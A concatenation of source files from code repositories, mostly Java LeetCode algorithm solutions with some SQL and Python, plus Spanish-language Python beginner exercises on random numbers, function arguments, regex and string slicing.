requests.get('https://swapi.co/api/people/') people = response.json()['results'] for person in people: print(person['name'])<file_sep>""" Generando numeros aleatorios """ import random for n in range(10): print('entero aleatorio:', random.randint(0, 10000)) #numeros aleatorios entre 0 y 1 for n in range(4): print(random.random()) L = ['oscar', 'jovanny', 'jaime', 'pepe', 'ciudadano', 'otro pepe', 'caca'] #Elemto aleatorio de una lista for n in range(8): print(random.choice(L)) #Elemntos aleatorios de una lista (pueden llegar repeticiones) r = random.choices(L, K=2)# K es el numero de elemntos que queremos print(r) #Cambiar orden de elementos de una lista, de forma aleatoria random.shuffle(L) print(L) random.shuffle(L) print(L) #A partir de una lista crear otra con K elementos que no esten repetidos print(random.sample(L, K=2)) print(random.sample(L, K=2)) print(random.sample(L, K=2)) print(random.sample(L, K=2)) print(random.sample(L, K=2)) print(random.sample(L, K=2)) print(random.sample(L, K=2)) print(random.sample(L, K=2)) print(random.sample(L, K=2)) print(random.sample(L, K=2)) <file_sep>""" Diferentes maneras de usar argumentos """ #Argumentos posicionales obligatorios def hi(name): print('Hi', name) #hi() #esto falla porque 'name' es obligatorio def f(n='uno'): print(n) f() def f2(one = 1 , two = 2, three=3 ): print(one, two, three) #usar argumentos por orden f2(45, 10, 22) #usar argumentos como keywords def dime_cosas(*args): print(args) dime_cosas(20, 30, 90, True,False, 'hola') def f3(name, *args): print('hola', name) print(args) f3('pedro', 20, 30, 90, True, False,'hola') def f4(**kwars): print(kwars) f4(C = 'uno', B = 'tres', f = True, A = 'manolo') O = {'C': 'uno', 'B': 'tres', 'F': True, 'A': 'manolo'} f4(**O) <file_sep>def print_everything(*args): for n in args: print(n) print_everything('manzana', 'platano', 'pera') def print_all_with_position(*args): for count, thing in enumerate(args): print('{}.{}'.format(count, thing)) print_all_with_position('manzana', 'platano', 'pera') def show_keyword_arguments(**kwards): for name, value in kwars.items(): print('{}:{}'.formate(name, value)) show_keyword_arguments(uno=1, dos=2, ) counter = 0 while True: counter += 1 print(counter) if counter > 300: break counter = 0 while True: counter += 1 print(counter) if counter > 800: break <file_sep>""" Ejemplo de uso de extensiones regulares """ import re phone = '657980418 # esto es numero de telefono' #borrar comentarios number = re.sub(r'#.*$', '', phone) print('telefono', number) <file_sep>from libs.urlloader import load_url from urllib.error import HTTPError try: raise Exception('esto no funciona ni con dinero') print('funcionara ???') except Exception as error: print('ha fallao:', repr(error))<file_sep>from colorama import init, Fore, Back init() print('hola') print(Fore.BLUE, 'Esto es azul') print(Fore.CYAN, 'mas cosas ') print(Fore.RED, 'esto es rojo') <file_sep>""" Ejemplo para trabajar con cadenas de texto """ TEXTO = '<NAME>' print(TEXTO[0]) print(TEXTO[1]) print(TEXTO[2]) print(TEXTO[3]) print(TEXTO[4]) print(TEXTO[5]) print(TEXTO[6]) print(TEXTO[7]) print(TEXTO[8]) print(TEXTO[9]) print(TEXTO[5:8]) print(TEXTO[6:]) print(TEXTO[:3]) #Concatenacion print(TEXTO + ' ' + TEXTO) print(TEXTO.upper()) print(TEXTO.capitalize()) print(len(TEXTO)) print(TEXTO.split()) print(TEXTO.split('m'))
880b795f6aab85f0f7156127842368cfab46969e
[ "Python" ]
13
Python
jovannygomez/CursoLeonEoiPythonDjango
346e0e95df71e9fbeee678d4592e2205eabec5be
0d3c40ef50d6c6954d5c63dfc63c772d4705ee5d
refs/heads/master
<repo_name>rere789/sinatra-nested-forms-lab-superheros-atlanta-web-060319<file_sep>/app/controllers/application_controller.rb require 'sinatra/base' class App < Sinatra::Base set :views, Proc.new { File.join(root, "../views/") } get '/' do erb :super_hero end post '/team' do super_team = params[:team] @team = Team.new(super_team[:name], super_team[:motto]) super_heros = params[:team][:members] super_heros.each do |hero| # hero == {"name"=>"ccc", "power"=>"ddd", "bio"=>"eee"} name = hero[:name] power = hero[:power] bio = hero[:bio] SuperHero.new(name, power, bio) end redirect '/test' end get '/test' do @superheros = SuperHero.all erb :team end end
cf8b331716bcc33e2a9b9fc2152bc55835b9bb6a
[ "Ruby" ]
1
Ruby
rere789/sinatra-nested-forms-lab-superheros-atlanta-web-060319
c6196c3fbb03f1a250841be9803699881b357b3a
995af8b54af8c8fc69b5771d533421c28914d606
refs/heads/master
<repo_name>vnglst/minimal-analytics<file_sep>/README.md # Minimal Google Analytics Minimal analytics is a Google Analytics replacement created by [<NAME>](https://davidkunnen.com/). This is an npm package of that code snippet. I created this package for use in my personal projects. Feel free to do the same, PR's with improvements are welcome. Description, see project page: https://minimalanalytics.com/ ## Usage Add the npm module using either yarn or npm: `yarn add minimal-analytics` And somewhere in your JavaScript entry point: ```js import { initialize } from 'minimal-analytics' // other imports and code initialize(window, 'UA-XXXXXXXXX-X', { anonymizeIp: true, colorDepth: true, characterSet: true, screenSize: true, language: true }) ``` That's it, you're all set. 🎉 <file_sep>/src/index.d.ts interface InitOptions { anonymizeIp: boolean colorDepth: boolean language: boolean characterSet: boolean screenSize: boolean } export function initialize( context: Window, trackingId: string, options: InitOptions ): void
018c885c75520d434bb45bdddf895f3f53d2ff83
[ "Markdown", "TypeScript" ]
2
Markdown
vnglst/minimal-analytics
8bce8afb3ffc7b8d1fc86ef44e61dd136aaf299d
23440d715c7eb4f82240acc951a4fbf5d51a9237
refs/heads/master
<repo_name>yeganehha/OSAlgorithm<file_sep>/assist/js/SecondCounter.js var SECOND_FROM_START = 0 ; function countSecond() { setTimeout( function () { sjf(); rr(); srt(); lru(); show(lastShowId); SECOND_FROM_START++ ; $('.JsSecondCounter').html(SECOND_FROM_START+"\""); $('.JsQuantum').html(quantum); countSecond() ; } , 1000 ) ; } countSecond();<file_sep>/assist/js/lru.js var currentLRUCount = 0 ; var currentLRUUsesId = [] ; var currentLRUUsesName = [] ; var currentLRUUsesValue = [] ; function lru() { if ( ListProcess.length != currentLRUCount ) { ListProcess.sort(function (obj1, obj2) { return obj1.id - obj2.id; }); var lruBlock = $('.lruBlock'); if ( ListProcess.length === 1 ) { currentLRUUsesId[0] = parseInt(ListProcess[0].id); currentLRUUsesName[0] = ListProcess[0].name; currentLRUUsesValue[0] = 0 ; lruBlock.append('<li class="time_line_item Js2ProcessId_' + ListProcess[0].id + '" ><div class="time_line_item_description"><div class="title JsLRUFirstTitle"><span class="JsTitle_'+ListProcess[0].id+'" >' + ListProcess[0].name + ' , </span></div></div><span class="number"><span>Misses</span> <span>Inserted: '+ ListProcess[0].name + '</span></span></li>') } var current = ListProcess.length -1 ; if ( ListProcess.length <= page && ListProcess.length > 1 ){ var index = currentLRUUsesName.indexOf( ListProcess[current].name ); if ( index >= 0 ) { var html = ''; $.each(currentLRUUsesName, function( index, value ) { html = html + '<span class="JsTitle_'+currentLRUUsesId[index]+'" >' + value + ' , </span>' ; }); currentLRUUsesId[current] = parseInt(ListProcess[current].id); currentLRUUsesName[current] = ListProcess[current].name; currentLRUUsesValue[current] = current*-1; lruBlock.append('<li class="time_line_item Js2ProcessId_' + ListProcess[0].id + '" ><div class="time_line_item_description"><div class="title JsLRUFirstTitle">'+html+'</div></div><span class="number"><span>Hits</span> <span>Inserted: '+ ListProcess[current].name + '</span></span></li>') } else { currentLRUUsesId[current] = parseInt(ListProcess[current].id); currentLRUUsesName[current] = ListProcess[current].name; currentLRUUsesValue[current] = current; var html = ''; $.each(currentLRUUsesName, function (index, value) { html = html + '<span class="JsTitle_' + currentLRUUsesId[index] + '" >' + value + ' , </span>'; }); lruBlock.append('<li class="time_line_item Js2ProcessId_' + ListProcess[0].id + '" ><div class="time_line_item_description"><div class="title JsLRUFirstTitle">' + html + '</div></div><span class="number"><span>Misses</span> <span>Inserted: '+ ListProcess[current].name + '</span></span></li>') } } if ( ListProcess.length > page ){ var index = currentLRUUsesName.indexOf( ListProcess[current].name ); if ( index >= 0 ){ var maxValue = 0 ; $.each(currentLRUUsesValue, function( index, value ) { currentLRUUsesValue[index] = value-1; if ( maxValue < value ){ maxValue = value ; } }); currentLRUUsesId[index] = ListProcess[current].id ; currentLRUUsesName[index] = ListProcess[current].name ; currentLRUUsesValue[index] = maxValue ; var html = ''; $.each(currentLRUUsesName, function( index, value ) { html = html + '<span class="JsTitle_'+currentLRUUsesId[index]+'" >' + value + ' , </span>' ; }); lruBlock.append('<li class="time_line_item Js2ProcessId_' + ListProcess[0].id + '" ><div class="time_line_item_description"><div class="title JsLRUFirstTitle">'+html+'</div></div><span class="number"><span>Hits</span> <span>Inserted: '+ ListProcess[current].name + '</span></span></li>') } else { var minValue = 9999999999; var minValueId = -1 ; var maxValue = 0 ; $.each(currentLRUUsesValue, function( index, value ) { currentLRUUsesValue[index] = value-1; if ( minValue > value ){ minValue = value ; minValueId = index ; } if ( maxValue < value ){ maxValue = value ; } }); currentLRUUsesId[minValueId] = ListProcess[current].id ; currentLRUUsesName[minValueId] = ListProcess[current].name ; currentLRUUsesValue[minValueId] = maxValue ; var html = ''; $.each(currentLRUUsesName, function( index, value ) { html = html + '<span class="JsTitle_'+currentLRUUsesId[index]+'" >' + value + ' , </span>' ; }); lruBlock.append('<li class="time_line_item Js2ProcessId_' + ListProcess[0].id + '" ><div class="time_line_item_description"><div class="title JsLRUFirstTitle">'+html+'</div></div><span class="number"><span>Misses</span> <span>Inserted: '+ ListProcess[current].name + '</span></span></li>') } } currentLRUCount = ListProcess.length ; } }
bea8b9188537a5cb924565cc32db577d43ffbba2
[ "JavaScript" ]
2
JavaScript
yeganehha/OSAlgorithm
083117701c5c741ba0607cf4bf6602bd98ebfc1b
e53cea400d399ae7c5f251d8bd1190a13735b27f
refs/heads/master
<file_sep>package com.binea.www.leetcodepractice.algorithm; /** * Created by xubinggui on 5/4/16. * // _ooOoo_ * // o8888888o * // 88" . "88 * // (| -_- |) * // O\ = /O * // ____/`---'\____ * // . ' \\| |// `. * // / \\||| : |||// \ * // / _||||| -:- |||||- \ * // | | \\\ - /// | | * // | \_| ''\---/'' | | * // \ .-\__ `-` ___/-. / * // ___`. .' /--.--\ `. . __ * // ."" '< `.___\_<|>_/___.' >'"". * // | | : `- \`.;`\ _ /`;.`/ - ` : | | * // \ \ `-. \_ __\ /__ _/ .-` / / * // ======`-.____`-.___\_____/___.-`____.-'====== * // `=---=' * // * // ............................................. * // 佛祖镇楼 BUG辟易 */ public class BalancedBinaryTree { /** * Given a binary tree, determine if it is height-balanced. * For this problem, a height-balanced binary tree is defined as a binary tree in which the * depth of the two subtrees of every node never differ by more than 1. */ public class TreeNode { int val; TreeNode left; TreeNode right; TreeNode(int x) { val = x; } } public boolean isBalanced(TreeNode root) { if(root == null) { return true; } int left = depth(root.left); int right = depth(root.right); return Math.abs(left -right) <= 1 && isBalanced(root.left) && isBalanced(root.right); } public int depth(TreeNode root) { if(root == null) { return 0; } return Math.max(depth(root.left), depth(root.right)) + 1; } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 13/01/2017. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class MinimumWindowSubstring { /** * Given a string s and a string T, find the minimum window in s which will contain all the characters in T in complexity O(n). * * For example, * s = "ADOBECODEBANC" * T = "ABC" * Minimum window is "BANC". * * Note: * If there is no such window in s that covers all characters in T, return the empty string "". * * If there are multiple such windows, you are guaranteed that there will always be only one unique minimum window in s. */ public String minWindow(String s, String t) { char[] s_array = s.toCharArray(); char[] t_array = t.toCharArray(); int[] map = new int[256]; int end = 0; int start = 0; int min_length = Integer.MAX_VALUE; for (int i = 0; i < t_array.length; i++) map[t_array[i]]++; int count = t_array.length; int min_start = 0; while (end < s_array.length) { if (map[s_array[end]] > 0) { count--; } map[s_array[end]]--; while (count == 0) { if ((end - start + 1) < min_length) { min_length = end - start + 1; min_start = start; } map[s_array[start]]++; if (map[s_array[start]] > 0) { count++; } start++; } end++; } if (min_start + min_length > s_array.length) { return ""; } return s.substring(min_start, min_start + min_length); } } <file_sep>select Day, round(avg(cnt), 2) as "Cancellation Rate" from ( select a.request_at as Day, @cnt := IF(a.Status = 'completed', 0, 1) as cnt from Trips a, Users b where a.Client_Id = b.Users_Id and b.Banned = 'No' ) c where Day BETWEEN '2013-10-01' AND '2013-10-03' group by Day<file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 14/12/2016. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class RepeatedSubstringPattern { /** * Given a non-empty string check if it can be constructed by taking a substring of it and appending multiple copies of the substring together. * You may assume the given string consists of lowercase English letters only and its length will not exceed 10000. * * Example 1: * Input: "abab" * * Output: True * * Explanation: It's the substring "ab" twice. * Example 2: * Input: "aba" * * Output: False * Example 3: * Input: "abcabcabcabc" * * Output: True * * Explanation: It's the substring "abc" four times. (And the substring "abcabc" twice.) */ public boolean repeatedSubstringPattern(String str) { //This is the kmp issue int[] prefix = kmp(str); int len = prefix[str.length() - 1]; int n = str.length(); return (len > 0 && n % (n - len) == 0); } private int[] kmp(String s) { int len = s.length(); int[] res = new int[len]; char[] ch = s.toCharArray(); int i = 0, j = 1; res[0] = 0; while (i < ch.length && j < ch.length) { if (ch[j] == ch[i]) { res[j] = i + 1; i++; j++; } else { if (i == 0) { res[j] = 0; j++; } else { i = res[i - 1]; } } } return res; } } <file_sep>package com.binea.www.leetcodepractice.algorithm.easy; import java.util.HashSet; import java.util.Set; /** * Created by finup on 30/09/2017. */ public class ContainsDuplicate { /** * Given an array of integers, find if the array contains any duplicates. * Your function should return true if any value appears at least twice in the array, * and it should return false if every element is distinct. * * @param nums * @return */ public boolean containsDuplicate(int[] nums) { Set<Integer> container = new HashSet<>(); for (int i : nums) { if (container.contains(i)) { return true; } container.add(i); } return false; } public boolean containsDuplicate3ms(int[] nums) { int min = Integer.MAX_VALUE, max = Integer.MIN_VALUE; for (int i : nums) { if (i < min) { min = i; } if (i > max) { max = i; } } boolean[] flags = new boolean[max - min + 1]; for (int i : nums) { int index = i - min; if (flags[index]) { return true; } flags[index] = true; } return false; } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by binea on 3/17/17. import java.util.ArrayList; import java.util.Arrays; import java.util.LinkedList; import java.util.List; /** * Suppose you have a random list of people standing in a queue. Each person is described by a pair * of integers (h, k), where h is the height of the person and k is the number of people in front of * this person who have a height greater than or equal to h. Write an algorithm to reconstruct the * queue. * * Note: * The number of people is less than 1,100. * * Example * * Input: * [[7,0], [4,4], [7,1], [5,0], [6,1], [5,2]] * * Output: * [[5,0], [7,0], [5,2], [6,1], [4,4], [7,1]] */ public class ReconstructHighestQueue { public int[][] reconstructQueue_144ms(int[][] people) { Arrays.sort(people, (p1, p2) -> p2[0] == p1[0] ? p1[1] - p2[1] : p2[0] - p1[0]); List<int[]> result = new LinkedList<>(); Arrays.stream(people).forEach(p -> result.add(p[1], p)); return result.toArray(people); } public int[][] reconstructQueue_12ms(int[][] people) { if (people == null || people.length == 0) return people; ArrayList<int[]> h_k = new ArrayList<>(); quickSortReverse(people, 0, people.length - 1); for (int i = 0; i < people.length; i++) { h_k.add(people[i][1], people[i]); } int[][] result = new int[people.length][2]; for (int i = 0; i < people.length; i++) { result[i][0] = h_k.get(i)[0]; result[i][1] = h_k.get(i)[1]; } return result; } public void quickSortReverse(int[][] people, int left, int right) { int l = left; int r = right; int pivot_h = people[left + (right - left) / 2][0]; int pivot_k = people[left + (right - left) / 2][1]; while (l <= r) { while (a_minus_b(people[l][0], people[l][1], pivot_h, pivot_k) > 0) l++; while (a_minus_b(people[r][0], people[r][1], pivot_h, pivot_k) < 0) r--; if (l <= r) { int temp_h = people[l][0]; int temp_k = people[l][1]; people[l][0] = people[r][0]; people[l][1] = people[r][1]; people[r][0] = temp_h; people[r][1] = temp_k; l++; r--; } } if (left < r) quickSortReverse(people, left, r); if (l < right) quickSortReverse(people, l, right); } public int a_minus_b(int ah, int ak, int bh, int bk) { if (ah != bh) return ah - bh; else return bk - ak; } } <file_sep>class Solution(object): def findTerritory(self, matrix, boarder): territory=set(boarder) while boarder: x,y=boarder.popleft() for i,j in [(x-1, y), (x+1, y), (x, y-1), (x, y+1)]: if (i,j) not in territory and i>=0 and i<len(matrix) and j>=0 and j<len(matrix[0]) and matrix[i][j]>=matrix[x][y]: territory.add((i,j)) boarder.append((i,j)) return territory def pacificAtlantic(self, matrix): """ :type matrix: List[List[int]] :rtype: List[List[int]] """ if not matrix: return [] a=self.findTerritory(matrix, collections.deque([(0,i) for i in xrange(len(matrix[0]))]+[(i,0) for i in xrange(1, len(matrix))])) b=self.findTerritory(matrix, collections.deque([(len(matrix)-1, i) for i in xrange(len(matrix[0]))]+[(i, len(matrix[0])-1) for i in xrange(len(matrix)-1)])) return list(a&b)<file_sep>def reconstructQueue(self, people): ans = [] if people: people.sort(key = lambda x: (x[0], -1*x[1]), reverse = True) for p in people: ans.insert(p[1], p) return ans<file_sep>package com.binea.www.leetcodepractice; // Created by xubinggui on 09/01/2017. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 import com.binea.www.leetcodepractice.algorithm.LFUCache; import org.junit.Before; import org.junit.Test; import static org.junit.Assert.assertNotNull; public class LFUTest { LFUCache<Integer, Integer> mLFUCache; @Before public void setup() { mLFUCache = new LFUCache<>(2); } @Test public void testLFUCache() { mLFUCache.put(1, 1); mLFUCache.put(2, 2); //assertNotNull(mLFUCache.get(1)); mLFUCache.put(3, 3); //assertNull(mLFUCache.get(2)); //assertNotNull(mLFUCache.get(3)); mLFUCache.put(4, 4); //assertNull(mLFUCache.get(1)); assertNotNull(mLFUCache.get(3)); assertNotNull(mLFUCache.get(4)); } } <file_sep>package com.binea.www.leetcodepractice.algorithm; import java.util.Stack; /** * Created by xubinggui on 6/11/16. * // _ooOoo_ * // o8888888o * // 88" . "88 * // (| -_- |) * // O\ = /O * // ____/`---'\____ * // . ' \\| |// `. * // / \\||| : |||// \ * // / _||||| -:- |||||- \ * // | | \\\ - /// | | * // | \_| ''\---/'' | | * // \ .-\__ `-` ___/-. / * // ___`. .' /--.--\ `. . __ * // ."" '< `.___\_<|>_/___.' >'"". * // | | : `- \`.;`\ _ /`;.`/ - ` : | | * // \ \ `-. \_ __\ /__ _/ .-` / / * // ======`-.____`-.___\_____/___.-`____.-'====== * // `=---=' * // * // ............................................. * // 佛祖镇楼 BUG辟易 */ public class BSTIterator { /** * Implement an iterator over a binary search tree (BST). Your iterator will be initialized * with the root node of a BST. * * Calling next() will return the next smallest number in the BST. * * Note: next() and hasNext() should run in average O(1) time and uses O(h) memory, where h is * the height of the tree. */ public class TreeNode { int val; TreeNode left; TreeNode right; TreeNode(int x) { val = x; } } private Stack<TreeNode> mStack; public BSTIterator(TreeNode root) { mStack = new Stack<>(); while (root != null) { mStack.push(root); if (root.left != null) { root = root.left; } else { break; } } } /** @return whether we have a next smallest number */ public boolean hasNext() { return !mStack.isEmpty(); } /** @return the next smallest number */ public int next() { TreeNode node = mStack.pop(); TreeNode cur = node; if (cur.right != null) { cur = cur.right; while (cur != null) { mStack.push(cur); if (cur.left != null) { cur = cur.left; } else { break; } } } return node.val; } /** * Your BSTIterator will be called like this: * BSTIterator i = new BSTIterator(root); * while (i.hasNext()) v[f()] = i.next(); */ } <file_sep>package com.binea.www.leetcodepractice.algorithm; /** * Created by xubinggui on 6/9/16. * // _ooOoo_ * // o8888888o * // 88" . "88 * // (| -_- |) * // O\ = /O * // ____/`---'\____ * // . ' \\| |// `. * // / \\||| : |||// \ * // / _||||| -:- |||||- \ * // | | \\\ - /// | | * // | \_| ''\---/'' | | * // \ .-\__ `-` ___/-. / * // ___`. .' /--.--\ `. . __ * // ."" '< `.___\_<|>_/___.' >'"". * // | | : `- \`.;`\ _ /`;.`/ - ` : | | * // \ \ `-. \_ __\ /__ _/ .-` / / * // ======`-.____`-.___\_____/___.-`____.-'====== * // `=---=' * // * // ............................................. * // 佛祖镇楼 BUG辟易 */ public class ReverseWords { /** * Given an input string, reverse the string word by word. * * For example, * Given s = "the sky is blue", * return "blue is sky the". */ public static String reverseWords14ms(String str) { str = str.trim(); StringBuilder sb = new StringBuilder(); while (str.length() > 0) { int spaceIndex = str.lastIndexOf(" "); if (spaceIndex == -1 || spaceIndex == 0) { sb.append(str); break; } sb.append(str.substring(spaceIndex + 1)); sb.append(" "); str = str.substring(0, spaceIndex).trim(); } return sb.toString().trim(); } public String reverseWorlds11ms(String s) { String[] parts = s.trim().split("\\s+"); if (parts.length == 0) { return ""; } StringBuilder out = new StringBuilder(); for (int i = parts.length - 1; i > 0; i--) { out.append(parts[i]); out.append(" "); } out.append(parts[0]); return out.toString(); } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 05/01/2017. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class MaximumProductofWordLengths { /** * Given a string array words, find the maximum value of length(word[i]) * length(word[j]) where the two words do not share common letters. You * may assume that each word will contain only lower case letters. If no such two words exist, return 0. * * Example 1: * Given ["abcw", "baz", "foo", "bar", "xtfn", "abcdef"] * Return 16 * The two words can be "abcw", "xtfn". * * Example 2: * Given ["a", "ab", "abc", "d", "cd", "bcd", "abcd"] * Return 4 * The two words can be "ab", "cd". * * Example 3: * Given ["a", "aa", "aaa", "aaaa"] * Return 0 * No such pair of words. */ public static int maxProduct(String[] words) { if (words == null || words.length == 0 || words.length == 1) { return 0; } int len = words.length; int[] value = new int[len]; for (int i = 0; i < len; i++) { String tmp = words[i]; value[i] = 0; for (int j = 0; j < tmp.length(); j++) { value[i] |= 1 << (tmp.charAt(j) - 'a'); } } int maxProduct = 0; for (int i = 0; i < len; i++) { for (int j = i + 1; j < len; j++) { int tmpLength = words[i].length() * words[j].length(); if ((value[i] & value[j]) == 0 && tmpLength > maxProduct) { maxProduct = tmpLength; } } } return maxProduct; } public static int maxProduct24ms(String[] words) { int len = words.length; int[] mark = new int[len]; int[] leng = new int[len]; for (int i = 0; i < len; i++) { int k = words[i].length(); leng[i] = k; for (int j = 0; j < k; j++) { int p = (int) (words[i].charAt(j) - 'a'); p = 1 << p; mark[i] = mark[i] | p; } } int ans = 0; for (int i = 0; i < len; i++) for (int j = i + 1; j < len; j++) if ((mark[i] & mark[j]) == 0) { if (ans < leng[i] * leng[j]) { ans = leng[i] * leng[j]; } } return ans; } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 03/01/2017. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class WildcardMatching { /** * Implement wildcard pattern matching with support for '?' and '*'. * * '?' Matches any single character. * '*' Matches any sequence of characters (including the empty sequence). * * The matching should cover the entire input string (not partial). * * The function prototype should be: * bool isMatch(const char *s, const char *p) * * Some examples: * isMatch("aa","a") → false * isMatch("aa","aa") → true * isMatch("aaa","aa") → false * isMatch("aa", "*") → true * isMatch("aa", "a*") → true * isMatch("ab", "?*") → true * isMatch("aab", "c*a*b") → false */ public boolean isMatch93ms(String str, String pattern) { int s = 0, p = 0, match = 0, startIdx = -1; while (s < str.length()) { if (p < pattern.length() && (pattern.charAt(p) == '?' || str.charAt(s) == pattern.charAt(p))) { s++; p++; } else if (p < pattern.length() && pattern.charAt(p) == '*') { startIdx = p; match = s; p++; } else if (startIdx != -1) { p = startIdx + 1; match++; s = match; } else { return false; } } while (p < pattern.length() && pattern.charAt(p) == '*') { p++; } return p == pattern.length(); } public boolean isMatchDP(String str, String pattern) { boolean[][] match = new boolean[str.length() + 1][pattern.length() + 1]; match[str.length()][pattern.length()] = true; for (int i = pattern.length() - 1; i >= 0; i--) { if (pattern.charAt(i) != '*') { break; } match[str.length()][i] = true; } for (int i = str.length() - 1; i >= 0; i--) { for (int j = pattern.length() - 1; j >= 0; j--) { if (str.charAt(i) == pattern.charAt(j) || pattern.charAt(j) == '?') { match[i][j] = match[i + 1][j + 1]; } else if (pattern.charAt(j) == '*') { match[i][j] = match[i + 1][j] || match[i][j + 1]; } else { match[i][j] = false; } } } return match[0][0]; } } <file_sep>select E1.Name from Employee as E1, Employee as E2 where E1.ManagerId = E2.Id and E1.Salary > E2.Salary<file_sep>apply plugin: 'java' dependencies { testImplementation "junit:junit:4.13.2" } sourceCompatibility = "1.8" targetCompatibility = "1.8" <file_sep>package com.example.string; /** * Created by binea on 2016/11/7. */ public class BoyerMore { private final int R = 256; public int search(String text, String pattern) { int[] right = prepareRight(pattern); int m = text.length(); int n = pattern.length(); if (n > m) { return -1; } int skip = 0; for (int i = 0; i <= m - n; i += skip) { skip = 0; for (int j = n - 1; j >= 0; j--) { if (pattern.charAt(j) != text.charAt(i + j)) { skip = j - right[text.charAt(i + j)]; if (skip < 1) { skip = 1; } } } if (skip == 0) { return i; } } return n; } private int[] prepareRight(String pattern) { int[] right = new int[R]; int length = pattern.length(); for (int i = 0; i < R; i++) { right[i] = -1; } for (int i = 0; i < length; i++) { right[pattern.charAt(i)] = i; } return right; } } <file_sep>package com.binea.www.leetcodepractice.algorithm.hard; /** * Created by xbg on 2018/6/19. */ /** * There are two sorted arrays nums1 and nums2 of size m and n respectively. * <p> * Find the median of the two sorted arrays. The overall run time complexity should be O(log (m+n)). * <p> * Example 1: * nums1 = [1, 3] * nums2 = [2] * <p> * The median is 2.0 * Example 2: * nums1 = [1, 2] * nums2 = [3, 4] * <p> * The median is (2 + 3)/2 = 2.5 */ public class MedianOfTwoSortedArrays { public double findMedianSortedArrays(int[] A, int[] B) { int m = A.length; int n = B.length; if (m > n) { // to ensure m<=n int[] temp = A; A = B; B = temp; int tmp = m; m = n; n = tmp; } int iMin = 0, iMax = m, halfLen = (m + n + 1) / 2; while (iMin <= iMax) { int i = (iMin + iMax) / 2; int j = halfLen - i; if (i < iMax && B[j - 1] > A[i]) { iMin = iMin + 1; // i is too small } else if (i > iMin && A[i - 1] > B[j]) { iMax = iMax - 1; // i is too big } else { // i is perfect int maxLeft = 0; if (i == 0) { maxLeft = B[j - 1]; } else if (j == 0) { maxLeft = A[i - 1]; } else { maxLeft = Math.max(A[i - 1], B[j - 1]); } if ((m + n) % 2 == 1) { return maxLeft; } int minRight = 0; if (i == m) { minRight = B[j]; } else if (j == n) { minRight = A[i]; } else { minRight = Math.min(B[j], A[i]); } return (maxLeft + minRight) / 2.0; } } return 0.0; } public double findMedianSortedArrays2(int[] nums1, int[] nums2) { int len1 = nums1.length; int len2 = nums2.length; if((len1+len2)%2==0){ return (double)(findKnum(nums1,nums2, 0,0,len1,len2,(len1+len2)/2)+findKnum(nums1,nums2, 0,0,len1,len2,(len1+len2)/2+1))/2; }else{ return findKnum(nums1,nums2, 0,0,len1,len2,(len1+len2)/2+1); } } public int findKnum(int[] num1, int[] num2, int start, int start2, int len1, int len2, int k){ if(len1>len2){ return findKnum(num2,num1, start2,start,len2,len1,k); } if(len1 == 0) return num2[start2+k-1]; if(k==1) return Math.min(num1[start], num2[start2]); int pa = Math.min(len1, k/2); int pb = k - pa; if(num1[start+pa-1]<num2[start2+pb-1]){ return findKnum(num1,num2,start+pa,start2,len1-pa,len2,k-pa); }else if(num1[start+pa-1]>num2[start2+pb-1]){ return findKnum(num1, num2, start, start2+pb,len1, len2-pb, k-pb); }else{ return num1[start+pa-1]; } } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 30/11/2016. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ 